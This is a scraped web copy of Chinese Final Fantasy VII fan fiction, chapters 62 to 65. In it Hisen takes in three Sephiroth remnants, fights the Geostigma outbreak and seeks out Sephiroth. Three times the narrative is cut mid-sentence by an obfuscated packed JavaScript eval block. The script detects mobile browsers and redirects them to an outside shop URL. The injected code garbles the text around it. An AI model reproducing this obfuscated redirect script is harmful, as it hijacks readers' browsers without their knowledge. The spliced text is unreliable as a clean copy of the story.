在他们两个打起来之前,克劳德驾驶着芬里尔和扎克斯一起回到了边缘城。陆行鸟还是一如既往的不善言辞,简单地点头表示问候,好在喋喋不休的小狗一个人说完了两个人的话。 离开W.R.O的时候,路法斯慷慨地付给每个人一笔可观的佣金,并邀请希森去做城市建设与资源开发的顾问,待遇和上班时间都由她决定。最初她果断拒绝了——都已经成了神,怎么可能再去打工。 然而半分钟后路法斯派曾送来了经过全面升级和改造后的「涅墨西斯」,并表示如果她还有其他需求可以随时联系武器研发部门。 她立马倒戈:“好的,老板。” 曾的沉默震耳欲聋。 四年的时间说长不长,说短不短,很多东西都变了,也有很多东西没变。回去的路上大家特意绕路带她参观了整个边缘城,爱丽丝的旧教堂逃过一劫,他们在附近资助建立起一所名为“绿叶之家”的孤儿院,收留那些因为陨石灾难流离失所的孩子。 “说起这个,”希森忽然想起来,“我的房子还在不在——” “没了。”杰内西斯残忍地宣布了事实,“你以前投资的魔晶矿也全部毁了。” ……那些可都是满满的钱和魔力啊,这下真的要回去打工了。她好恨,她想冲进生命之流罚萨菲罗斯三百年不许吃饭。 她发了一条短信给路法斯:W.R.O包吃住吗? 对方秒回一个问号。 特种兵的视力很好,她的这点小动作自然没能瞒住身旁之人的眼睛。红发青年环抱双臂,毫不掩饰地冷笑了一声。 车辆在一座位于郊区的房子前停下,两层的小别墅和被白色栅栏围起来的花园和她原本的一模一样。杰内西斯扔给她一串钥匙:“我住你对面,晚上安吉尔做饭,想吃什么自己跟他说。” 暮色的微风拂过,有什么柔软而冰冷的物体落在她的脸上,又飞快地消融。她抬起手接住一片飘落的纯白,忽然想起了很久以前的那个新年。 “——啊,下雪了。” [μ]-εγλ0010,边缘城迎来了隆冬的第一场雪。 *①这一段改自官方小说《on the way to a smile(通往微笑之路)》 63.第 63 章 希森做了一个梦,梦到自己站在尼布尔海姆的魔晄池边,自称为魔晄之神的路法斯问哪个是她掉的萨菲罗斯,左边的少年英雄还是右边的神罗英雄。她回答都是,结果路法斯说她在撒谎,然后捞起一个拥有漆黑单翼和面带自信笑容的萨菲罗斯,说这一个才是你掉的,另外由于他破坏了神罗的设施,所以你需要上缴五千万Gil作为罚款。 她立刻被吓醒了。 因为她根本没有那么多钱。 好在W.R.O给出的待遇无可挑剔,上下班时间自由,薪酬足够她在这颗星球上衣食无忧。世界的重建已经接近尾声,无论是本体还是思念体,灭世的灾厄都没有再出现,她觉得一直这样下去好像也不错。 ——像普通人一样,平凡又宁静的生活。曾经向她许下这个愿望的人已经抛弃了自己的初心,但她并没有忘记。 随着星球的恢复,世界各地的时空裂缝也在逐渐减少,已经拖了半年的金蝶乐园团建活动终于在第二年夏末实现。爱丽丝和蒂法拉着她把每个游乐项目都尝试了一遍,她们假装没发现伪装成工作人员的凯特西每次都在后台绞尽脑汁地放水,而男生们则成为了各种奖品和纪念品的搬运工。 乐园的庆典于夜间开始,类似于一场大型的狂欢舞会。主办方利用全息投影技术把现场打造成一片淡金色的百合花海,由仿真技术制作的萤火虫如同一片浮动的星河,在夜幕下随风流淌。 “情侣入场的话可以获得限定纪念品哦。” 乔装打扮后的猫型机器人送给克劳德两枚吊坠,后者的耳根瞬间变得通红,好几次望向身旁的蒂法,又迟迟不敢开口。扎克斯已经迫不及待的给自己和爱丽丝领了一枚,还不忘留给希森一道鼓励的眼神。 “哦——”凯特西的声音里透着几分意味深长,“两位也是情侣吗?很般配呢。” “三位,”希森纠正,“安吉尔和我们是一起的。” 猫型机器人的程序似乎发生了什么故障,在一阵奇怪的声响后卡在原地。 “三个人不可以吗?”她用恳求的目光看向对方。 “……也、也不是不行,”凯特西终于恢复过来,“总之、那个、祝你们三位幸福。” 猫型机器人将纪念品塞进她手里,抱着脑袋飞快地离开了。安吉尔颇为无奈地扶额,杰内西斯早就用诗集挡住了自己的脸,但微微震动的胸膛还是出卖了他。 希森不擅长跳舞,所以对这方面的活动也没有太大兴趣,抱着免费的冷饮和小蛋糕在花海边缘看来来往往的人群互邀共舞。骑士打扮的克劳德终于鼓足勇气牵起了蒂法的手,而另一边的扎克斯正像小狗一样快乐地抱着爱丽丝转圈。 “我和安吉尔,”杰内西斯抬手轻轻敲了一下她的头,“选一个吧。” 希森花了好几秒才反应过来他的意思,转过身时安吉尔已经消失不见,只剩红发青年好整以暇地看着自己。 她眨了眨眼:“你会跳舞?” 杰内西斯挑眉反问:“你觉得呢?” “……1st的课程还包括这个吗?” “既然是商品,当然要发挥最大价值。我以为你比我更清楚。” 红发青年伸出手,向她行了一个标准的请舞礼,如同暮夜中一团张扬的烈焰。 希森弯起唇角,然而她的指尖刚触到对方温热的掌心,不远处便骤然炸起一声巨响。人们兴奋的欢呼化作惊恐的尖叫,世界开始摇晃,全息投影模拟出的美丽花海随着爆炸产生的火焰四分五裂,崩溃的粒子夹杂着尘土如雨点落下。巨大的时空裂缝横贯于金蝶乐园上空,随之出现的还有三道银白的身影。 ——准确来说,是三名长相酷似萨菲罗斯的少年,拥有相同的银发与竖瞳,却在外形和气质上又有着明显的区别。他们的状态看起来并不是很好,每个人身上都带着不同程度的伤痕,为首那名拥有齐肩银发的少年正谨慎地打量着四周。 “我感受不到妈妈的气息了。”少年像猫科动物般眯起双眸,丝绸般平滑的声音穿透迷雾,“那家伙把妈妈藏了起来。” 一旁的长发少年侧了侧头:“这里是‘那个人’的世界吧?” “不管是哪个世界,既然妈妈不在,那么毁掉就好了。” 银发齐肩的少年抬起手,掌心浮现出一颗散发着蓝色光芒的魔石。巴哈姆特庞大的身躯在烟雾中逐渐凝聚成形,却在即将现身的那一刻被从天而降的雷电打断。 “抱歉,我不能让你们这么做。”希森穿过撤离的人群,不紧不慢地停在三名不速之客身前,“刚来就要毁掉我的世界,这样不太礼貌吧?” “——你又是谁?” 为首的少年神色慵懒地转过头,却在看见她的那一瞬间顿住了。猫一般的碧绿竖瞳骤然收缩,如狭长深渊的眼底先是闪过几分震惊,而后是几分不易察觉的恐惧,最后一同化为了浓烈的愤怒。 在她反应过来之前,少年已经提着双刃的武士刀冲了上来。一同赶到的克劳德和杰内西斯见状立刻挡在她身前,兵刃相接激起刺耳的金属嗡鸣声。 “……等等!” 她不认识眼前的少年,也不知道对方那莫名其妙的敌意从何而来,正试图问清楚缘由。然而剩下那两名银发的少年也不由分说地加入了战斗,全然不理会她的话语。于是这场纷争如同滚雪球般越滚越大,最后演变成一场多对三的混战,绚烂的魔法在半空中交织,目之所及的乐园设施都被牵连摧毁。 在人数和实力的压制下,三人最终被爱丽丝的魔法阵困在了废墟深处。为首的银发少年拭去唇角的血丝,哪怕处于绝对劣势当中,身上那种熟悉而又陌生的倨傲却半分不减:“要动手就别磨磨蹭蹭的。” ……太像了。 不管是外貌、神态还是性格,这三个人都和萨菲罗斯太像了,就像是各自继承了他的某部分特点。 希森皱起眉,不顾克劳德的劝阻走到少年身旁:“我们对杀人没兴趣,现在可以解释一下你们是谁,又为什么要攻击我了吗?” 一听见她的声音,少年就像是被踩到尾巴的猫一样跳了起来,浑身的毛在刹那间全部炸起:“哈……还在这里装模作样呢?你身上有那家伙的气息和力量,你们两个明明就是一伙的,串通好把我们扔进这个鬼地方!” 希森沉默了片刻:“啊?” 她是不是跳过了什么剧情,为什么看不懂现在的发展了。 “我根本不认识你们。”她面无表情地开口,“你口中的那家伙是谁,萨菲罗斯吗?” 听到这个名字,三名少年明显顿了顿,似乎对于银发的灾厄有着某种天然的忌惮和恐惧。为首那名拥有齐肩银发的少年警惕地端详着她,语气冰冷:“你和他到底是什么关系?” “他想毁灭星球,所以我把他妈妈炸成了碎片,和其他人联手把他送回生命之流。”她抬起手,涅墨西斯随着一声破空的嗡鸣出现在掌心,“不管萨菲罗斯对你们做了什么,如果你们再不回答我的问题,我会做出更过分的事情。” “所以,再问一遍。”她冷静地说,“你们是谁?为什么出现在这里?” 三名少年瞪大了眼睛,满脸震惊地看着她。整个世界随即陷入到一片压抑且诡异的沉默当中,唯有晚风卷起碎石发出的轻微声响。 没有人开口,她一时间有点尴尬。可狠话已经放了出去,她只能露出一切尽在掌握之中的微笑,把人生如戏贯彻到底。 在一片寂静中,那名体格最强壮的短发少年忽然发出一声短促的抽噎。 ——然后哭了起来。 …… 第二天晚上,卡丹裘、亚祖和罗兹坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14197134|131107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在她家的沙发上,碧绿的竖瞳一眨不眨,像三只刚来到陌生环境所以精神紧绷的猫。 她当时只是想问清楚真相,并不打算真的对三名少年动手,更没想到罗兹会当场哭出来,留下她一个人在晚风中不知所措。 那晚的战斗结束后,作为三人组首领的卡丹裘依旧对她非常警惕,不愿多说一句话,反倒是看起来最冷淡的亚祖主动开口。他们来自一条已经崩坏的世界线,是另一个「萨菲罗斯」失败后创造出的思念体,哪怕原本的世界已经不复存在,三人还是在杰诺瓦细胞的本能引导下找到这个世界已经成神的萨菲罗斯,并要求对方带自己去见「母亲」。 结局自然是交涉失败,他们被银发的灾厄一刀送进时空裂缝,掉到金蝶乐园上空。而她身上有萨菲罗斯的标记和愿望魔石留下的力量,于是卡达裘理所当然地将她当成对方的同伙。尽管这个误会已经解除,但她在几名少年心中残忍暴虐的形象已经无法挽回了。 “……是你毁掉了妈妈,”罗兹哽咽着说,“我们再也找不到妈妈了。” “别哭了,罗兹。”卡丹裘用一种不容置疑的语气打断了他,“母亲不会消失,她永远和我们同在。” 亚祖望着客厅里摆放着的合照出神,不知道在想什么,并没有加入同伴的对话。 希森的头开始隐隐作痛,不得不给他们解释:“这个世界的萨菲罗斯已经和杰诺瓦彻底融合,现在的他就是你们要找的「母亲」。” 罗兹小声反驳:“他明明是男的……” “那又怎么样?”她理直气壮,“他只是以这个形象现身而已,杰诺瓦可以拟态成任何生物,性别和外貌不是想怎么改就怎么改?” 银发的少年愣住了。 思念体们的沉默震耳欲聋。 “可是妈妈不会抛弃我们,他才不是妈妈……”罗兹眼底又开始泛起水光。 卡丹裘抬起头,对她说了离开金蝶乐园后的第一句话:“萨菲罗斯为自己保留了「母亲」,但是我完全有权见到她。” “那你们就去找他算账,”眼见他终于愿意和自己沟通,希森也问出了心底的疑惑,“跟着我回家干什么?” 了解完真相以后,克劳德就表明只要三人不再伤人和破坏星球,他们就不会继续追究,当时三名少年没做出任何答复便消失在原地。然而当她第二天回到边缘城时,却发现客厅的沙发上长出了三团思念体。 “仅凭我们无法打败他。”卡丹裘环抱双手,刻意拖长的语调慵懒而危险,“但是你身上有他的标记,他迟早会来找你的。” 她丝毫不为所动:“我要是有能力打败他,就不会让他到处毁灭世界线了。” 卡丹裘盯着她看了片刻,随后一言不发地别过头,显然是不打算离开的意思。亚祖依旧没有说话,罗兹强忍着泪水,看上去下一秒就会忍不住哭出声。 她感觉自己好像成为了什么恶人,先是和其他人一起欺负几个刚出生没多久的思念体,现在又要把无家可归的他们赶出去。 “……你们可以留下。” 三名少年瞬间看向她。 “但是有条件。”希森说,“我现在很穷,养不起三个人,所以你们必须支付住在我家的费用,没钱就为我工作。而且在这个世界不能伤人,也不能破坏任何设施。” 卡丹裘神色渐冷。不等他回答,她再次开口:“如果不能接受就马上离开,我可以打开时空裂缝送你们走。” 寂静的空气中弥漫着令人不安的沉默,亚祖再次主动开口:“如果是其他人先对我们动手呢?” “特殊情况下你们可以自保和反击。”她从沙发上起身,“现在把你们弄乱的东西全部收拾回去,然后把床铺和被子搬去一楼尽头的客房。以后没经过我的同意不许乱翻我的东西,弄坏了要赔。” 64.第 64 章 “……所以,你收养了三个和你前男友长得很像、同样有灭世倾向和恋母情结的外星生物,还让他们住在你家。”杰内西斯总结道,“你还挺隐忍深情,这么多年来都保持同一个品味。” “我雇佣了他们。”希森纠正道,“而且一个坚持每天念同一首诗十几年的人没有资格说我。” 魔兽的头颅被子弹穿透,重重落在广场上的纪念碑旁。少年提着枪朝他们的方向走来,银白的长发随着狂风飞舞。 距离三名思念体从天而降已经有一个月。卡丹裘依旧挂念着所谓的「母亲」,选择跟随同样拥有杰诺瓦细胞的克劳德外出执行任务;罗兹对她似乎相当畏惧,但凡说话的语气稍微重一点都会红了眼眶,于是被爱丽丝带走帮忙修缮福利院;最后留下来的只有性格冷淡的亚祖,在充当司机的同时维护一下城市安全。 “……今天还需要去W.R.O吗?”少年那双猫一般的碧绿竖瞳直直望向她,无视了一旁的杰内西斯。 不知出于什么缘故,三人极少主动称呼她或她的名字。也正因如此,每次对话时他们都会出现在能够占据她所有视线的地方,目不转睛地看着她,像是正在闹别扭又希望对方主动注意到自己的猫。 希森正要回答,不远处的废墟里却忽然探出几颗小心翼翼的脑袋。注意到他们的目光后,年纪最大的那个女孩怯生生地开口:“那个……谢谢你们救了我们。书本上说可以用礼物表达感谢,所以……” 孩子们的谢礼都是一些手工制品或是平时攒下的糖果零食,虽然并不值钱但却非常用心。名叫思麦尔的女孩庄重地把礼物放进每个人手里:“这是给希森姐姐的,这是给杰内西斯哥哥的,这是给——” “——亚祖。”她替沉默不语的少年解释,“我们的朋友。” 亚祖接过糖果,抬头看了她一眼,平淡的神色里辨不出任何想法。 她注意到几个孩子身上整洁干净却有着多处补丁的旧衣服,又联想到他们能准确说出自己的名字:“你们来自绿叶之家?” 思麦尔点点头,有些不安地抓住裙摆:“我们……出来买东西。对不起,姐姐,给你们添麻烦了。” “以后不要自己跑出来了,很危险的。”她没有追问下去,只是摸了摸女孩的头,随后转向银发的少年,“先送他们回去吧。” “好的,”亚祖顿了顿,语气平静,“姐姐。” 希森愣了一下,还没从这个突如其来的称呼中回过神,便看见眼前的瘦小苍白身影忽然晃了晃,像只断了线的风筝一样无力地坠入了她的怀里。女孩乌黑的长发从肩头滑落,露出脖子上诡异的黑色斑纹,如同洁白雪地里沾染的刺眼污渍。 “她生病了,浑身都痛,还会长出奇怪的黑斑。”一直默默跟在她身后的那个孩子小声地开口,“我们不敢告诉别人,听说W.R.O曾经给你治病,就想去那里看看。” 她抬起手,治疗魔法愈合了女孩手腕的擦伤,却对那些黑斑毫无效果。希森很快意识到这并不是普通的疾病,而是寄居于生命之流中的某种污染,如同混入血液中的剧毒杂质,正在缓慢侵蚀宿主的生命。 “除了她以外,还有多少人出现了这种情况?”杰内西斯抱起女孩,神色中的凝重令其他孩子们不由自主地后退了一步。 “很多,”片刻的沉默后,那个孩子抽噎着回答,“我们都是。” …… 这些孩子最终被送到了爱丽丝的教堂。 能够和星球沟通的古代种少女称这种现象为“星痕症候群”,是一种因杰诺瓦细胞入侵人体导致的病症,患者会在死亡后带着体内的星痕回归生命之流,从而进一步侵蚀星球。这几年来萨菲罗斯一直在利用星痕吞噬新生的世界线,伴随着杰诺瓦之子的恢复,这种诅咒般的力量也愈发强大,逐渐渗透到他们所在的这个世界。 “我可以召唤治愈之泉治疗星痕,但只要制造它的源头还在,这种病症就不会消失。”爱丽丝掬起一捧从教堂深处涌出的泉水,喂给昏迷的女孩,“曾经浸泡过魔晄的人会更容易受到感染,普通人也无法幸免。” 言下之意,如果不去阻止萨菲罗斯,星痕就会像传染病一样在这个世界蔓延,即便暂时被魔法治好也无法避免再次感染。 杰内西斯负责寻找其他患者,她让亚祖先带着痊愈的孩子回绿叶之家,自己留下来和爱丽丝一起照顾昏迷不醒的女孩。 “为什么星球放任萨菲罗斯这么做?”她把剩余的泉水用魔石收集起来,给每个人都制作了一份解药,以备不时之需,“哪怕是本就走向崩坏的世界线,以星球的意志也不会放任它们被杰诺瓦吞噬吧?” “我一直在等你提出这个问题。”爱丽丝温柔地看着她,翠绿的双眸中泛起笑意的涟漪,“因为星球想要保护这条世界线,而它因你的愿望诞生。” 她突然意识到了什么,指尖的力度一顿,失去控制的魔晶石从掌心坠落,溅起一片冰冷的水珠。 “萨菲罗斯替你承担了改变命运的代价,所以星球也做出了一点牺牲。”少女俏皮地眨了眨眼,“唔,就像是某种不成文的约定吧。” 杰诺瓦之子暂时不毁灭星球,星球则提供一部分能量供他恢复。二者建立起一种诡异的共存关系,直到星痕的出现打破了这种平衡。 这么看来,她对现在的情况也有一部分责任。 尽管爱丽丝没有明说,她也清楚三名思念体和星痕的出现既不是巧合,也不是意外。成神后的萨菲罗斯拥有主宰星球和世界线的力量,只要他愿意,这个世界完全可以不受任何侵扰。 但这很显然并不是萨菲罗斯想要的结局,所以他率先撕破了和星球之间本就脆弱不堪的协议。 她的语气冷静得像是在讨论今天的晚餐:“所以他依然选择毁灭星球。” 爱丽丝并没有马上回答,含笑的双眸中浮出几分悲伤与无奈。半晌过后,褐发绿眸的少女才轻轻开口:“或许……他只是不想被遗忘。” 她从水流里找回了那颗掉落的魔石,然而易碎的晶体在翻腾的过程中磕磕碰碰,原本光滑的表面上早已蔓延开蛛网般的裂缝。哪怕用魔法重新修复,质量和效果也会大打折扣。 虽然有些心疼,但她还是把坏掉的魔石扔进了一旁的废墟里。 “先问问克劳德的意见吧。” 毕竟金发少年才是这颗星球选中的英雄,灾厄的宿敌,于情于理都应该由他决定。 解决矛盾的方法主要分为两种——战争或谈判,对于一个正在重建的世界,也对于刚从灾难和悲伤中走出来的人们来说,后者无疑是更好的选择。这颗支离破碎的星球已经无法再承受一次天灾,二次开战的结果必定是鱼死网破。 “你已经为我们做得足够多了,这件事不需要你再担心。”克劳德沉默良久,有些不自然地别过头,“如果不想再被卷入这些事,你可以离开这里,去一个平静的世界或星球……之类的地方生活。” 换做是不了解他的人,可能会以为这是一道毫不留情的逐客令,但她知道对方是真心实意希望自己能够过上自由平静的生活。这几年来一直有人定期往她的账户里存钱,早就超出了当年从神罗手里赎回两名少年的金额。 星球英雄总是把所有责任揽到自己身上,认为身边的人受伤或死亡都是自己的过错。虽然少年从来没有说出口,但她知道对方认为是自己在过去的时间线里没能打败萨菲罗斯,才导致她的星球被毁。 “不用着急回答,我们还有很多时间。”爱丽丝微笑着握住她的手,“无论你的决定是什么,我们都会无条件支持你。对吧,克劳德?” 少年摸了摸翘起的短发,闷闷地应了一声。 亚祖不知什么时候来到了教堂门口,靠在门边望着天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14245518|131107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 际的落日出神,看样子已经等了很久。他像平时一样安静地开车送她回家,直到踏进玄关时才开口:“姐姐要去找那个人吗?” 她差点被门槛绊倒。 走廊尽头的客房里探出两颗银色的脑袋,在她看过去之后又飞快地缩了回去。 “为什么这么问,”她没有计较对方的称呼,“你们希望我去吗?” 少年隐没在客厅的阴影中,没有说话。 “如果见到萨菲罗斯,我会替你们转达和「母亲」见面的诉求。”她叹了口气,“但我不能带你们过去。” 以萨菲罗斯的性格,绝对会对三名思念体动手。虽说她和三人没有多少感情,也不至于看着他们送死。 “姐姐的意思就是会去了。”亚祖语气平静,“你还会回来吗?” “我当然会回来。”她有些困惑地回答,不明白少年在意的究竟是什么。 客房的门再次打开,罗兹的声音有些颤抖:“……萨菲罗斯才是被「母亲」选中的人,我们连「母亲」都见不到,姐姐有了他就一定不会再回来了。” ……为什么他也开始喊自己“姐姐”了?不对,他们究竟联想到了什么东西? “我没有杰诺瓦细胞,你们的「母亲」选择了谁都和我无关。”她打开灯,卡丹裘和罗兹终于从房间里走了出来,“况且我还没有决定要不要去。” “就算你不去,他也会来找你,二者没有区别。”卡丹裘顿了顿,有些不情愿地加了一句,“姐姐。” 罗兹已经红了眼眶:“他来了,我们是不是就不能待在这个世界了,姐姐。” “姐姐不会这么做的,”亚祖看向她,“对吧?” ……这都什么跟什么啊。 她被这一声声的“姐姐”喊得十分头痛。原以为三名少年从不称呼自己是因为介意她伤了杰诺瓦,现在看来也有可能是刚出生没多久的思念体们缺乏这方面的社交知识,不知道应该选择什么称谓。毕竟不管哪个世界的萨菲罗斯社会化程度都不高,又显然不是会传授这种技能的人。 “我没打算赶你们走。”她无奈地闭上眼睛,“也不会在你们和他之间做选择。” 三名少年瞬间安静下来。 星痕症候群如同病毒般在边缘城蔓延开来,好在爱丽丝和W.R.O合作研发出可以批量生产的缓和药剂,暂时控制住了局面,目前还没患者因此死亡。除了在教堂外偷听的思念体外,爱丽丝和克劳德并没有把那天的对话告诉任何人,也没有再提起相关的事情。 成为半神后并不会感染星痕,她的生活似乎没有受到太大影响。然而萨菲罗斯的存在始终像是悬挂于头顶的达摩克利斯之剑,时刻挑拨着她心底的伤疤,露出最深处鲜血淋漓的腐肉。每当她想要开始新的生活,又会有一只无形的手将她拽回去。 一周之后,思麦尔终于苏醒过来,身上的黑斑也彻底消失。她带着糖果和百合去绿叶之家看望曾经给自己送礼物的几个孩子,大病初愈的女孩一边抽泣一边向她道歉。 “为什么不敢把生病的事情告诉其他人?”她伸手擦去对方眼角的泪水,“有人欺负你们吗?” 女孩摇了摇头,小声回答:“因为怕被抛弃。” “生病了,会成为累赘,没有利用价值的孩子就会被抛弃。”曾经被神罗当做试验品的孩子说,“我们不想被抛弃。” “绿叶之家不会抛弃任何一个人。”她摸了摸思麦尔的头,“别哭,多笑一笑才符合你的名字呢。” 回去的时候刚好是傍晚,秋末的微风卷起百合的芬芳,夕阳的余晖为整座城市镀上一层朦胧耀眼的金红。今天她没让任何人接送,独自来到郊区边缘的花海,在虫鸣声中等待夜幕降临。 那天离开教堂之前,爱丽丝叫住了她。 “萨菲罗斯想要你去找他,”少女说,“他想要被你选择。” 65.第 65 章 不管在哪个星球,去找前男友求和都是一件很麻烦的事情。 更麻烦的是她在分手时当面把对方的家长炸成了碎片,之后又进行了长达四年的战争,最后一次见面不仅大吵一架还扇了他一巴掌。而这位前男友的性格不能说难以相处,只能说无法用人类的标准去评价,两人的矛盾每次都以其中一方死亡收场,堪称惨烈。 星球让她拯救世界,但没说用什么方法,早知道她就和末日一起毁灭算了。 明明只是去谈判而已,临行前的氛围却像是送别烈士一样严肃。罗兹不出意外地开始掉眼泪,扎克斯最初还在安慰对方,没多久后也开始用那种小动物般湿漉漉的眼神看着她。 原来即使成了半神也会头痛,不管用哪种治疗魔法都没用。她不得不找了个理由提前离开,借晚风吹散混乱的思绪。 杰内西斯向来不会参与这种场合,也从不干涉她的决定,得知她的选择后仅仅是漫不经心地应了一声,很快又把注意力放回手中的诗集里。红衣红发的身影独自站在楼顶,如同夜幕下燃起的一抹星火。 她坐在天台边缘,眺望嵌满繁星的深蓝天际:“对于我的英勇献身,你就没有什么想要表示的吗?” 杰内西斯侧过头,似笑非笑:“你希望我表示什么?” “我回来的时候想喝白苹果汁,还想吃安吉尔做的苹果派。” 她眨了眨眼,转身跳进时空裂缝。 在无限衍生的时空里寻找一个人并不容易。 自星球诞生的无数条世界线错综复杂,毫无章法,可能上一秒还在融合,下一秒就开始崩坏。星球提供了坐标,却忘了给她地图,无异于把一无所知的初学者扔进一座巨大的迷宫中盲目摸索,稍有不慎就会被卷入乱流。 在连续走错两个世界之后,作为穿越时空擅改命运的惯犯,她一出来便被菲拉包围了。黑白交织的命运守护者如同层层叠叠的阴影,在无尽的时空中对落单的猎物穷追不舍。 ——也不知道当年那个孩子是怎么在无垠的宇宙里找的属于她的星球和世界的,自诩为神的杰诺瓦会在漫长的航行中感到孤独吗? 短暂的分神致使她忽略了埋伏于时空夹缝中的敌人,来自命运的无形之手如同一张密不透风的网,试图把她拖回原定的轨道上。待她重新回过神时已经被蜂拥而至的菲拉淹没,在数量的绝对压制之下,她的反抗好比沉入深海的水滴。 她坠入了浩瀚的星河当中。 时间在那刹那凝固,试图打破命运的外来者和自命运诞生的守护者都成为封存于琥珀中的标本,与混沌的空间一同静止。银白的光弧无声蔓延,瞬息间便将整个世界一分为二,眼前的菲拉如同脆弱而柔软的棉絮般四分五裂,消散在无光的天际。 漆黑的羽毛缓缓飘落,时间的长河重新流淌。她掉入了一个冰冷的怀抱当中,水银般的发丝如同柔软的绸缎沿着肩头滑落,卷起若有若无的冷冽芬芳。从天而降的灾厄以一种不容抗拒的力度单手扣住她的腰,密不透风的单翼舒展又收回,遮去目之所及的一切。 冰凉厚实的黑色皮革如同潜行的蛇缓缓爬过颈间裸露的肌肤,在柔软而脆弱的大动脉处停顿一瞬,继而向上流连。她下意识地抓住对方的手臂,指尖触碰到因为克制力度而隆起的肌肉弧度。然而萨菲罗斯并没有给她挣扎的机会,收拢五指扣住她的下颚,微微发力迫使她仰头贴近自己。 如锋芒般极具侵略性和压迫感的气息在理智与思维中劈开一道裂缝,飞快地占据每一寸角落。银鳞的蛇低下头,轻轻衔住猎物的耳垂,激起一阵来自本能的战栗与酥麻。 “好久不见。”优雅平滑的音线中含着几分愉悦的笑意,她的名字被细细咀嚼后随着微冷的气息吐出,“——希森。” 和其他特种兵不同,银发1st的虹膜并非只有浸泡过魔晄的色彩,狭长的竖瞳会在不同光线下泛起绮丽的光泽,如同深邃又梦幻的星云。自然界的猎手会进化出鲜艳夺目的外形,便于迷惑猎物的心智。 半晌过后,她才终于找回自己的声音:“……萨菲罗斯?” 身后的人很轻地笑了一声,似是回应。 这副姿态完全无法正常沟通,而是单方面居高临下的禁锢与侵占。她试探性地推了推扣在腰间的手臂,然而萨菲罗斯完全没有松开的打算,抱着她往身后一带,穿过裂缝落入另一片空间。 这里大概是某个已经毁灭的世界。 被荒草与藤蔓覆盖的废墟一望无际,不远处澄澈耳宁静的湖泊倒映出随风摇曳的野百合,这片大地上没有活物的痕迹,头顶璀璨的星河中也不会再有太阳升起。杰诺瓦之子极度厌恶人类,自然也不待见人类的造物,余下的建筑残骸早已无法辨清原本的模样,被大自然原本的生态吞没。 就像是人类灭亡百年后的星球,带有某种诡异又寂寥的美。 ——很符合她对游戏或电影里那些最终反派藏身之地的刻板印象,似乎已经看到了萨菲罗斯顶亮出的超长血条。 可惜对方不是那种会主动解释来龙去脉的反派,所以她只能主动触发剧情:“这是哪里?” 萨菲罗斯漫不经心地侧了侧头:“你可以理解为以我的意志延伸出的世界。” 银鳞巨蛇慢条斯理地松开对猎物的桎梏,短暂地留出一段距离,却又如影随形地盘踞在身侧。他看起来很期待她在听到答案后逃跑,最好为此惊慌恐惧,如此一来生性恶劣的捕食者便能够享受一场毫无悬念的狩猎游戏。 距离陨石灾难已有四年,足够改变任何一个人。她猜不透对方的想法,但并没有退缩:“萨菲罗斯,你应该知道星痕蔓延到了我们的世界线,所以——” “哦?”他似笑非笑,“我当然知道你来找我的目的。为这颗苟延残喘的星球求情,不是么?” “……”她已经预感到了这次谈话不会很顺利,但是开弓没有回头箭,唯有坚持把剩下的话说完,“我是来和你谈判的,既然我们双方都清楚这一点,那么或许可以好好谈谈?” “以人类的标准,在双方拥有同等筹码的情况下,才能称之为‘谈判’。”萨菲罗斯弯起唇角,“我不认为我有谈判的必要,不过既然你坚持……” “我想你应该很清楚,”他的语调低缓温和,带着某种危险的意味深长,“我要的是什么。” 人类不会留意到脚边路过的蚂蚁,更不会在乎它们的生死和想法,杰诺瓦对于人类的态度也是如此。作为拥有绝对力量的神明,天生的认知里便只有服从和被服从,这大概是最接近“谈判”的表达。 如果现在答应他的话,事情会变得简单很多。 但她没有。 “我不会用自己作为筹码。” 碧绿的竖瞳微微眯起,四周的空气似有一瞬的冷凝。 “所以你选择与我为敌。” “关于这个问题,”她后退一步,避开逐渐朝自己收拢的漆黑单翼,“是你在尼布尔海姆那晚先做出了选择,而你的选项不是我。” 随风摇曳的野花不知何时静止下来,天幕上的星辰摇摇欲坠。以个人意志打造出的世界,自然也会反过来被创造者的意识牵连。 可有些话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14284898|131107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必须要说清楚,就像伤口清理干净腐肉与血污才能愈合,哪怕这个过程会很痛苦,而且伴随着二次感染的风险。 “你有过选择的机会。”萨菲罗斯缓步向前,如同狩猎的蛇,时刻将目标笼罩在自己的阴影当中,“我等了很久。” “得益于此,我看见了星河的浩瀚。”他说,“无尽蔓延的世界线,远不止三千。” 少年在已成定局的真相中陷入绝望,最终走进那片万劫不复的业火。但他依旧选择那个未来,跨越时间和空间,历经相同的痛苦千万遍。 